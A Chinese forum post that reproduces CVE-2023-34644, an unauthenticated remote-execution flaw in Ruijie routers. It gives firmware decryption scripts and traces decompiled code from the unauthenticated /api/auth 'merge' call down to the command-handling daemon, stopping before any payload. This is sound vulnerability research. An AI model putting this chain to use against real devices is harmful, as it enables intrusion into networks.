首页
社区
课程
招聘
[原创]站在巨人肩膀上复现CVE-2023-34644
2023-9-12 15:22 4210

[原创]站在巨人肩膀上复现CVE-2023-34644

2023-9-12 15:22
4210

前言

winmt 师傅之前挖到了一个锐捷的未授权 RCE 漏洞,影响了该厂商下的众多路由器、交换机、中继器等设备。winmt 师傅已经发布了 相关的挖掘经历,对仿真的搭建和漏洞分析已经写的比较详细。本篇文章主要是自己对该漏洞调用链进行一个完整的梳理,以及在 winmt 师傅文章中未提到的部分我会进行记录。特别感谢 winmt 师傅在我复现期间多次解答我的各种困惑

本文分析的固件为 EW_3.0(1)B11P204_EW1200GI(已解密) 百度网盘链接:https://pan.baidu.com/s/1RutoNCTiGBiW74YpzKXfxg?pwd=vht7 提取码:vht7

固件解密

上面已经提供了解密后的固件,但目前从锐捷官网下载的固件都是被加密的。此处记录一下解密的三种思路

  1. 寻找过渡版本的固件,如果一个路由器型号最初版本为 x001 此时并没有加密 ,然后在 x005 版本开始对固件进行加密了。那么 x004 就是过渡版本的固件,为了从 x004 升级到 x005 固件,一定会在 x004 的文件系统里存放 x005 固件的解密脚本,不然路由器就无法解开 x005 的固件进行升级了,如果能从官网上下载到过渡版本的固件,去寻找其中的解密程序,编写一个解密脚本即可(不过就锐捷的固件而言,我并没有在官网上找到过渡版本的固件,疑似被下架了)
  2. 购买真机,直接从芯片中提取文件系统(目前未尝试过)
  3. 对加密后的固件直接分析,寻找一些特征或有规律的字节码,尝试编写其解密脚本

下面对第三种思路,进行详细介绍

EW_3.0(1)B11P219_EW1200I_10200109_install_encypto.bin 固件为例(官网上可以直接下载,不再提供链接)

直接用 binwalk 解压是失败的

image-20230912112845555

010 Editor 打开,查看文件的末尾发现存在大量重复的字节码 0x80

image-20230912112712262

winmt 师傅给我说通常文件末尾会填充大量的 \xff 或者 \x00 字节码,这里有大量的重复字节码 0x80 ,猜测可能是单字节异或 key 得到的。尝试拿 0xff0x80 进行异或,得到疑似 key0x7f

用下面的脚本,读取加密固件的字节码,逐字节与 0x7f 进行异或,得到一个新的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
 
def jiemi(input_file, output_file):
    try:
        with open(input_file, 'rb') as infile:
            with open(output_file, 'wb') as outfile:
                byte = infile.read(1)
                while byte:
                    byte_value = ord(byte)
                    xor_result = byte_value ^ 0x7f
                    outfile.write(bytes([xor_result]))
                    byte = infile.read(1)
        print(f"File {input_file} successfully decrypted to {output_file}")
    except Exception as e:
        print(f"Error: {str(e)}")
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exp.py input_file output_file")
    else:
        input_filename = sys.argv[1]
        output_filename = sys.argv[2]
        jiemi(input_filename, output_filename)

image-20230912114545222

可以看到 binwalk 成功识别了固件,并成功解压出文件系统

image-20230912114656903

拿到文件系统后,可以去寻找负责加解密的程序 /usr/sbin/rg-upgrade-crypto ,对二进制文件 /usr/sbin/rg-upgrade-crypto 进行分析可以写出解密脚本,下面是 winmt 师傅编写的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <malloc.h>
#include <sys/stat.h>
 
typedef unsigned char uint8_t;
#define BYTE(x, n) (*((uint8_t *)&(x)+n))
 
void error_msg(char *msg)
{
    puts(msg);
    exit(-1);
}
 
int num1 = 1, num2 = 0x10001;
 
void decrypt(uint8_t *enc_buf, uint8_t *dec_buf, int length)
{
    for (int i = 0; i < length; i++)
    {
        int sum = (uint8_t)num1 + (uint8_t)num2 + BYTE(num2, 1) + BYTE(num2, 2);
        BYTE(num2, sizeof(num2)/sizeof(uint8_t)-1) = sum % 2;
         
        for (int j = 0; j < 6; j++)
            *((uint8_t *)&num1 + j) = *((uint8_t *)&num1 + j + 1);
         
        uint8_t key = 0;
        for (int k = 0; k < 8; k++)
            key |= *((uint8_t *)&num1 + k) << k;
        *(uint8_t *)(dec_buf + i) = *(uint8_t *)(enc_buf + i) ^ key;
    }
}
 
int main(int argc, char **argv, const char **envp)
{
    if (argc < 2) error_msg("Usage: ./rg-decrypt [encrypted_firmware_path]");
     
    char *enc_path = strdup(argv[1]);
    char *dec_path = malloc(strlen(argv[1]) + 0x10);
    strcpy(dec_path, argv[1]);
    strcat(dec_path, ".decrypted");
     
    struct stat stat_buf;
    int stat_fd = stat(enc_path, &stat_buf);
    if (stat_fd < 0) error_msg("The encrypted firmware does not exist !");
    int size = stat_buf.st_size;
     
    uint8_t *enc_buf = (uint8_t *)malloc(0x1000);
    uint8_t *dec_buf = (uint8_t *)malloc(0x1000);
     
    int enc_fd = open(enc_path, O_RDONLY);
    if (enc_fd < 0) error_msg("Error to open the encrypted firmware !");
     
    int dec_fd = open(dec_path, O_WRONLY | O_CREAT, S_IREAD | S_IWRITE | S_IRGRP);
    if (dec_fd < 0) error_msg("Error to create the decrypted firmware !");
     
    if (read(enc_fd, enc_buf, 22) != 22) error_msg("Error to read from the encrypted firmware !");
    size -= 22;
     
    while(size > 0)
    {
        int len = size;
        if (size > 0x1000) len = 0x1000;
         
        memset(enc_buf, 0, sizeof(enc_buf));
        memset(dec_buf, 0, sizeof(dec_buf));
         
        if (read(enc_fd, enc_buf, len) != len) error_msg("Error to read from the encrypted firmware !");
        decrypt(enc_buf, dec_buf, len);
        if (write(dec_fd, dec_buf, len) != len) error_msg("Error to write into the decrypted firmware !");
        size -= len;
    }
     
    free(enc_buf);
    free(dec_buf);
    close(enc_fd);
    close(dec_fd);
    return 0;
}

如果仔细研究下解密脚本能够发现,固件异或的 key 并不是一直为 0x7f ,在最初的几轮异或中 key 是在变化的,key 经过几轮迭代后才变成了固定的 0x7f ,好在没有影响到后面的文件系统的完整性。

lua文件的调用链分析

/usr/lib/ 路径下存在一个 lua 目录,其中存放了很多 lua 文件。主要作用是对前端传入的数据做了一些简单处理和判断,然后将数据传递给二进制文件进一步处理

/usr/lib/lua/luci/controller/eweb/api.lua 文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth 函数。在 luci 框架中 sysauth 属性控制是否需要系统级的用户认证才能访问该路由,这里的 sysauth 属性为 false ,表示无需进行系统认证即可访问。

rpc_auth 函数首先引入了一些模块(代码如下),然后获取 HTTP_CONTENT_LENGTH 的长度是否大于 1000 字节,如果不大于的话会将准备 HTTP 响应的类型设置为 application/json ,下面的 handle 函数第一个参数 _tbl 传入的是 luci.modules.noauth 文件返回的内容,变量类型为 table (该 table 包含了 noauth 文件中定义的四个函数 login singleLogin merge checkNet

1
2
3
4
5
6
7
8
9
10
11
12
13
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.noauth"
    if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
        http.prepare_content("text/plain")
        -- http.write({code = "1", err = "too long data"})
        return "too long data"
    end
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

下面分析 luci.utils.jsonrpc 文件中的 handle 函数,它主要是把参数 tbl 以及报文中的 method 字段传入给了 resolve 函数

1
2
3
4
5
6
7
8
9
function handle(tbl, rawsource, ...)
......
    if stat then
        if type(json.method) == "string" then
            local method = resolve(tbl, json.method)
            if method then
                response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end

resolve 函数的作用跟它的名字一样,来解析出 method 字段对应的函数(报文中写成 "method": "merge" 具体的原因 winmt 师傅文章 中写的很清楚),通过遍历 mod (表中存储了四种方法),然后通过 rawget 获取表中键为 path[j] (也就是 merge )的值并赋值给 mod ,此时 mod 就表示 noauth.lua 文件中的 merge 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function resolve(mod, method)
    local path = luci.util.split(method, ".")
 
    for j = 1, #path - 1 do
        if not type(mod) == "table" then
            break
        end
        mod = rawget(mod, path[j])
        if not mod then
            break
        end
    end
    mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
    if type(mod) == "function" then
        return mod
    end
end

发现代码 proxy(method, json.params or {}) ,这表示 merge 函数作为参数传入给了 proxy 中,这里的 method 又传入了 luci.util 文件中的 copcall 函数

1
2
3
4
5
function proxy(method, ...)
    local tool = require "luci.utils.tool"
    local res = {luci.util.copcall(method, ...)}
......
end

copcall 函数主要是对 coxpcall 的一个封装

1
2
3
function copcall(f, ...)
    return coxpcall(f, copcall_id, ...)
end

终于在 coxpcall 函数内部发现调用了 foldpcall(coroutine.create, f) 这行代码的目的是在一个新的协程中运行函数 f ,因此执行到这里 merge 函数被触发

1
2
3
4
function coxpcall(f, err, ...)
    local res, co = oldpcall(coroutine.create, f)
......
end

下面开始分析 merge 函数(本篇文章只能算是对 winmt 师傅写的文章进行一个补充,这里不介绍为什么是调用 merge 函数而不是调用其他函数,就是因为在 winmt 师傅写的 文章 中已经对这部分进行了详细的介绍),该函数的内部调用了 luci.modules.cmd 文件中的 devSta.set 函数

1
2
3
4
function merge(params)
    local cmd = require "luci.modules.cmd"
    return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

这个 devSta.set 函数的定义如下,先是调用了 doParams 函数对 json 数据进行解析,随后调用了 fetch 函数

1
2
3
4
5
6
7
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end

这个 fetch 函数在 cmd.lua 文件中已经定义了,这里调用了 fn 也就是 fetch 函数传入进来的 model.fetch

1
2
3
4
5
6
7
local function fetch(fn, shell, params, ...)
    require "luci.json"
    local tool = require "luci.utils.tool"
    local _start = os.time()
    local _res = fn(...)
......
end

modeldev_sta 文件的返回结果,因此 model.fetch 实际上是 dev_sta 文件中的 fetch 函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so 文件中的 client_call 函数

1
2
3
4
5
6
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
    local uf_call = require "libuflua"
......
    local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
    return stat
end

IDA 打开 /usr/lib/lua/libuflua.so 文件,并没有看到定义的 client_call 函数,不过发现了 uf_client_call 函数,猜测是程序内部进行了关联。shift+f12 搜索字符串发现没看到字符串 client_call (如下图)

image-20230822105021327

大概率说明 IDA 没有把 client_call 解析成字符串,而是解析成了代码。我这里用 010Editor 打开该文件进行搜索字符串 client_call,成功搜索到后发现其地址位于 0xff0

图片描述

可以看到 IDA 确实是将 0xff0 位置的数据当做了代码来解析,选中这部分数据,按 a ,就能以字符串的形式呈现了

image-20230822105929868

image-20230822110053012

对字符串 client_call 进行交叉引用,发现最终调用位置如下,luaL_registerLua 中注册 C 语言编写的函数,它作用是将 C 函数添加到一个 Lua 模块中,使得这些 C 函数能够从 Lua 代码中被调用

image-20230822111240902

该函数的原型如下

1
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
  • lua_State *LLua 状态指针,代表了一个 Lua 解释器实例。
  • const char *libname:模块的名称,这个名称会在 Lua 中作为一个全局变量存在,存放模块的函数。
  • const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C 函数指针

这里重点关注第三个参数,这就说明 0x1101C 的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call 实际就定义在了 sub_A00

image-20230822111950548

sub_A00 函数定义如下,可以看到最后是调用了 uf_client_call 函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0); ,很容易能猜测到其实是在解析 Lua 传入的各个参数字段。在 Lua 的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi) 这里传入了多个参数,但是 sub_A00 函数就一个参数 a1 ,结合的操作分析出这里是在解析参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall sub_A00(int a1)
{
  v13[0] = 0;
  v2 = malloc(52);
  v3 = v2;
  if ( v2 )
  {
    memset(v2, 0, 52);
    v5 = 4;
    *(_DWORD *)v3 = luaL_checkinteger(a1, 1);
    *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
    v6 = luaL_checklstring(a1, 3, 0);
    v7 = *(_DWORD *)v3;
    *(_DWORD *)(v3 + 8) = v6;
    if ( v7 != 3 )
    {
      *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
      *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
      v5 = 6;
      *(_BYTE *)(v3 + 40) = 1;
    }
    *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
    *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
    v8 = v5 + 2;
    if ( *(_DWORD *)v3 )
    {
      if ( *(_DWORD *)v3 == 2 )
      {
        v8 = v5 + 3;
        *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      }
    }
    else
    {
      *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      v8 = v5 + 4;
      *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
    }
    *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
    v4 = uf_client_call(v3, v13, 0);
  }
......   

uf_client_call 函数是一个引用外部库的函数,用 grep 在整个文件系统搜索字符串 uf_client_call ,结合 /usr/lib/lua/libuflua.so 文件中引用的外部库进行分析,最终判断出 uf_client_call 函数定义在 /usr/lib/libunifyframe.so

image-20230822132450393

IDA/usr/lib/libunifyframe.so 文件进行分析,看到 uf_client_call 函数首先判断了 method 的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON 对象中,接着将最终处理好的 JSON 对象转换为 JSON 格式的字符串,通过 uf_socket_msg_writesocket 套接字进行数据传输

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
  v5 = json_object_new_object();
......
  switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
  {
    case 0:
      v15 = ((int (*)(void))strlen)() + 10;
......
      v13 = "acConfig.%s";
      goto LABEL_22;
    case 1:
      v14 = ((int (*)(void))strlen)() + 11;
......
      v13 = "devConfig.%s";
      goto LABEL_22;
    case 2:
      v8 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devSta.%s";
      goto LABEL_22;
    case 3:
      v16 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devCap.%s";
      goto LABEL_22;
    case 4:
      v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中,
      json_object_object_add(v5, "method", v19);
      v20 = json_object_new_object();
......
      v21 = json_object_new_string(a1[2]);
      json_object_object_add(v20, "module", v21);
      v22 = a1[5];
      if ( !v22 )
        goto LABEL_35;
      json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
      v25 = a1[6];
      if ( v25 )
      {
        v26 = json_object_new_string(v25);
......
        json_object_object_add(v20, "remotePwd", v26);
      }
      if ( a1[9] )
      {
......
        json_object_object_add(v20, "buf", v27);
      }
      if ( *a1 )
      {
        if ( *a1 != 2 )
        {
          v28 = *((unsigned __int8 *)a1 + 45);
          goto LABEL_58;
        }
        if ( *((_BYTE *)a1 + 42) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "execute";
            goto LABEL_56;
          }
        }
      }
      else
      {
        if ( *((_BYTE *)a1 + 43) )
        {
          v29 = json_object_new_boolean(1);
          if ( v29 )
            json_object_object_add(v20, "force", v29);
        }
        if ( *((_BYTE *)a1 + 44) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "configId_not_change";
LABEL_56:
            json_object_object_add(v31, v32, v30);
            goto LABEL_57;
          }
        }
      }
LABEL_57:
      v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
      if ( v28 )
      {
        v33 = json_object_new_boolean(1);
        if ( v33 )
          json_object_object_add(v20, "from_url", v33);
      }
      if ( *((_BYTE *)a1 + 47) )
      {
        v34 = json_object_new_boolean(1);
        if ( v34 )
          json_object_object_add(v20, "from_file", v34);
      }
      if ( *((_BYTE *)a1 + 48) )
      {
        v35 = json_object_new_boolean(1);
        if ( v35 )
          json_object_object_add(v20, "multi", v35);
      }
      if ( *((_BYTE *)a1 + 46) )
      {
        v36 = json_object_new_boolean(1);
        if ( v36 )
          json_object_object_add(v20, "not_commit", v36);
      }
      if ( *((_BYTE *)a1 + 40) )
      {
        v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
        if ( v37 )
          json_object_object_add(v20, "async", v37);
      }
      v38 = (_BYTE *)a1[3];
      if ( !v38 || !*v38 )
        goto LABEL_78;
      v39 = json_object_new_string(v38);
      json_object_object_add(v20, "data", v39);
LABEL_78:
      v41 = (_BYTE *)a1[4];
      if ( v41 && *v41 )
      {
        v42 = json_object_new_string(v41);
        if ( !v42 )
        {
          json_object_put(v20);
          json_object_put(v5);
          v40 = 630;
          goto LABEL_82;
        }
        json_object_object_add(v20, "device", v42);
      }
      json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对
      v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
      v44 = uf_socket_client_init(0);
......
      v50 = strlen(v43);
      uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......

既然存在 uf_socket_msg_write 进行数据发送,那么肯定就在一个地方在用 uf_socket_msg_read 函数进行数据的接收,用 grep 进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf 文件,并且该文件还位于 /etc/init.d 目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf 文件就是用来接收 libunifyframe.so 文件所发送过来的数据

image-20230822145039327

二进制文件分析

为了总结 /usr/sbin/unifyframe-sgi.elf 文件中调用链,同时梳理清几个线程和信号量的关系,我画了整体的调用流程图,接下来会分析下图所示的所有函数

image-20230831112201027

读取数据

/usr/sbin/unifyframe-sgi.elf 文件中 main 函数里的 uf_socket_msg_read 函数开始分析(这里是该文件接收数据的最初位置,从这里开始追踪数据会比较明朗,如果单纯的从 main 函数逐行分析,思维会很乱)。uf_socket_msg_read(*v29, v31 + 1) 该函数的第一个参数是文件描述符,第二个参数是接收数据存储的位置(具体定义可以查看 /usr/lib/libunifyframe.so 文件)

下面两张图片为调试 uf_socket_msg_read 函数执行前后的状态

image-20230829133810198

image-20230829134227731

有趣的地方在于很多字段我们没有设置,但上图能看到这些字段依然存在(只不过值是空的字符串),这意味着在数据传输过来之前有地方设置了这些字段

之后 解析字段执行具体操作 的两个函数分别为 parse_content add_pkg_cmd2_task (均位于 main 函数),如下图

image-20230829134431234

解析数据

下图为调试到 parse_content 函数执行前的状态,发现参数是一个结构体地址,其存储了一些地址和数据。

image-20230829134935230

下面对 parse_content 函数进行分析(具体分析已标在注释中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall parse_content(int a1, int a2)
{
......
  v3 = *(_DWORD *)(a1 + 4);
  v4 = 598;
  if ( !v3 )
    goto LABEL_4;
  v5 = json_tokener_parse(v3, a2);
  v6 = v5;
  if ( json_object_object_get_ex(v5, "params", &v20) != 1 )//检查了params字段是否存在值,不存在的话直接返回-1
    goto LABEL_31;
  if ( json_object_object_get_ex(v20, "device", &v19) == 1 && json_object_get_type(v19) == 6 )//检查了是否存在device字段是否存在值以及类型是否为string  这里的判断失败也不会返回-1,意味着这个字段是非必须的
  {
    v8 = (const char *)json_object_get_string(v19);
......
  }
  else
  {
    v8 = 0;
  }
  if ( json_object_object_get_ex(v6, "method", &v21) != 1 )//method字段也必须要存在
  {
LABEL_31:
    json_object_put(v6);
    return -1;
  }
  v9 = json_object_get_string(v21);
  if ( strstr(v9, "cmdArr") )//method的值不为cmdArr的话,进入else
  {
......  
  }
  else
  {
......
    v17 = parse_obj2_cmd(v6, v8);//进行数据解析的具体位置,v6为json对象
    *v16 = v17;
    if ( !v17 )
    {
......
    }
    pkg_add_cmd(a1, v16);
    v16[2] = 0;
  }
  json_object_put(v6);
  return 0;
}

根据上面的分析可知,具体进行数据解析的位置应该是 parse_obj2_cmd 函数,该函数具体分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __fastcall parse_obj2_cmd(int a1, int a2)
{
  v3 = malloc(52);//创建了一个堆块,用于记录和存储接下来的各种信息,该函数最终会返回这个堆块地址
  v5 = v3;
......
  memset(v3, 0, 52);
  if ( a2 )
    *(_DWORD *)(v5 + 16) = strdup(a2);
  if ( json_object_object_get_ex(a1, "module", &v46) != 1
    || (v6 = json_object_get_string(v46), (v7 = v6) == 0)
    || strcmp(v6, "esw") )//检查module字段是否存在,存在的话值是否为字符串esw,如果这两个条件有一个不满足,则进入if
  {
    if ( json_object_object_get_ex(a1, "method", &v46) != 1 )//解析method字段
    {
......
    }
    v16 = json_object_get_string(v46);//获取到method的值,下面去匹配对应的操作,各种操作都对应一个数字,该数字放在了堆块的第一个指针处
    v17 = v16;
    if ( strstr(v16, "devSta") )
    {
      v18 = 2;
    }
    else
    {
      if ( strstr(v17, "acConfig") )
      {
        *(_DWORD *)v5 = 0;
        goto LABEL_50;
      }
      if ( strstr(v17, "devConfig") )
      {
        *(_DWORD *)v5 = 1;
        goto LABEL_50;
      }
      if ( strstr(v17, "devCap") )
      {
        v18 = 3;
      }
      else
      {
        if ( !strstr(v17, "ufSys") )
        {
......
        }
        v18 = 4;
      }
    }
    *(_DWORD *)v5 = v18;
    goto LABEL_50;
  }
......//此处省略了大部分代码,做的事情依然是字段解析,然后写入内存,就不逐一分析了
  if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )//判断params字段中是否存在data,如果存在的话将其赋值给v37,并且检查了data的值类型,只能为object,array,string三种类型,然后将data的值放到堆块的第四个指针处  注意:报文中我并没有设置data字段,但是接收的数据在写入内存之前就被自动添加了data字段
  {
    v43 = json_object_get_string(v46);
    if ( v43 )
    {
      v44 = strdup(v43);
      *(_DWORD *)(v5 + 12) = v44;
      if ( !v44 )
      {
        v9 = 561;
        goto LABEL_136;
      }
    }
  }
  return v42;
}

解析后各字段的值如下

image-20230829143032518

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v16) ,它的核心作用就是在 a1 这个数据结构中记录了 v16 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd 函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13 是把 a2 也就是 v16 的值加上了 13 存储到了 a1 中,而通过后续的分析得知,之后访问这个 v16 的堆块是通过 *(a1+92)-13 得到的地址。存的时候 +13 ,访问的时候 -13 ,这里没太理解但并不影响我们后续的分析

具体操作

操作关键信号量

解析完成后,直接看 add_pkg_cmd2_task 函数的调试界面,发现参数传入的还是执行 parse_content 函数那个结构体地址

image-20230829143659670

add_pkg_cmd2_task 函数进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __fastcall add_pkg_cmd2_task(_DWORD *a1)
{
  if ( dword_435ECC < 1001 )
  {
    pthread_mutex_lock(*a1 + 20);
    v3 = (_DWORD *)a1[22];
    v4 = v3 - 13;//当时存地址时加了13,这里又减了13,所以v4就是上面记录了解析json各字段的那个堆块地址
    for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
    {
      if ( v4 + 13 == a1 + 22 )
      {
        pthread_mutex_unlock(*a1 + 20);
        return 0;
      }
      v6 = malloc(20);
      v7 = (int *)v6;
......
      v10 = v6 + 4;
      v7[2] = v10;
      v7[1] = v10;
      *v7 = (int)v4;
      v7[4] = (int)(v7 + 3);
      v7[3] = (int)(v7 + 3);
......
      *v7 = (int)v4;
      v11 = (_DWORD *)*v4;
      v12 = *(_DWORD *)*v4;
      if ( v12 == 3 )//这里判断v12就是前面解析method的值,因为发送的是merge(实际传入的就是devSta.set) 所以v12最终在前面被解析成了2
        break;
      if ( v12 == 4 )
      {
        gettimeofday(v4 + 5, 0);
        uf_sys_handle(*(_DWORD **)*v7, v4 + 1);
LABEL_22:
        gettimeofday(v4 + 7, 0);
        sub_40B644(v7);
        goto LABEL_23;
      }
      if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//虽然v12为2了,但我们的字符串是set,并不是get,所以这个if还是进不去
      {
        *(_DWORD *)(*v7 + 44) = 1;
        sub_40B644(v7);
        v8 = *v7;
        v9 = 2;
        goto LABEL_17;
      }
      sub_40B304((int **)v7);// devSta.set这个字段的话 前面的if都进不去,会触发这里的sub_40B304函数
LABEL_23:
      v4 = (int *)i;
    }
......
  }
  v1 = -1;
......
  return v1;
}

sub_40B304 函数最关键的作用就是过渡到 sub_40B0B0

image-20230829145958320

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall sub_40B304(int **a1)
{
  v2 = **a1;
  if ( *(_DWORD *)v2 == 5 )//根据上图信息得知v2应该是2,这个if进不去
  {
LABEL_2:
    *(_BYTE *)(v2 + 48) = 1;
    if ( byte_435EC9 )//这里是硬编码的1
    {
      v3 = a1;
      v4 = (int (__fastcall *)(int **))sub_40B0B0;//将sub_40B0B0函数指针赋值给v4
      return v4(v3);//此处IDA显示有些问题,其实执行的并不是这里的v4(v3)
    }
LABEL_28:
    v3 = a1;
    v4 = sub_40B168;
    return v4(v3);//上面的函数指针赋值给v4,最后调用的其实是这里的v4(v3)  调试一下就能看出来
  }
  v5 = *(const char **)(v2 + 20);//这里v2+20其实为remoteIp字段,因为在lua处理的时候,加上了remoteIp字段(意思是remoteIp字段有值,值为空。并非是remoteIp字段为空),所以这个v5是一个地址,指向了一个空的字符串而已(如果之前没有地方帮我们添加remoteIp字段的话,还需要自己传入一个remoteIp进来)
  if ( v5 )
  {
    v6 = is_self_ip(v5);//传入一个指向空字符串的地址,返回值为0
    v7 = *a1;
    if ( !v6 )
    {
      v2 = *v7;
      goto LABEL_2;//执行到此处进行跳转
    }
    v7[11] = 3;
  }
}

sub_40B0B0 函数中对关键的信号量进行了操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall sub_40B0B0(_DWORD *a1)
{
  _DWORD *v2; // $v1
  _DWORD *v3; // $v1
  ++dword_435ECC;
  pthread_mutex_lock(&unk_435E74);
  v2 = (_DWORD *)dword_435DC4;
  a1[3] = &cmd_task_run_head;
  dword_435DC4 = (int)(a1 + 3);
  a1[4] = v2;
  *v2 = a1 + 3;
  v3 = (_DWORD *)dword_435DB4;
  a1[2] = dword_435DB4;
  dword_435DB4 = (int)(a1 + 1);
  a1[1] = &cmd_task_remote_head;
  *v3 = a1 + 1;
  pthread_mutex_unlock(&unk_435E74);
  sem_post(&unk_435E90);//该函数最关键的部分就是此处sem_post对信号量unk_435E90操作
  return 0;
}

uf_task_remote_pop_queue 函数中的 sem_wait(&unk_435E90) 本身是卡住了当前线程,而 sub_40B0B0 这里对信号量操作一触发,deal_remote_config_handle 函数就可以继续运行了,uf_task_remote_pop_queue 函数结束,随后就调用了关键的 uf_cmd_call 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall __noreturn deal_remote_config_handle(int a1)
{
  v1 = pthread_self();
  pthread_detach(v1);
  pthread_setcanceltype(1, 0);
  prctl(15, "remote_config_handle");
  while ( 1 )
  {
    do
    {
      *(_DWORD *)(a1 + 16) = 0;
      v3 = uf_task_remote_pop_queue();
      *(_DWORD *)(a1 + 16) = v3;
    }
    while ( !v3 );
......
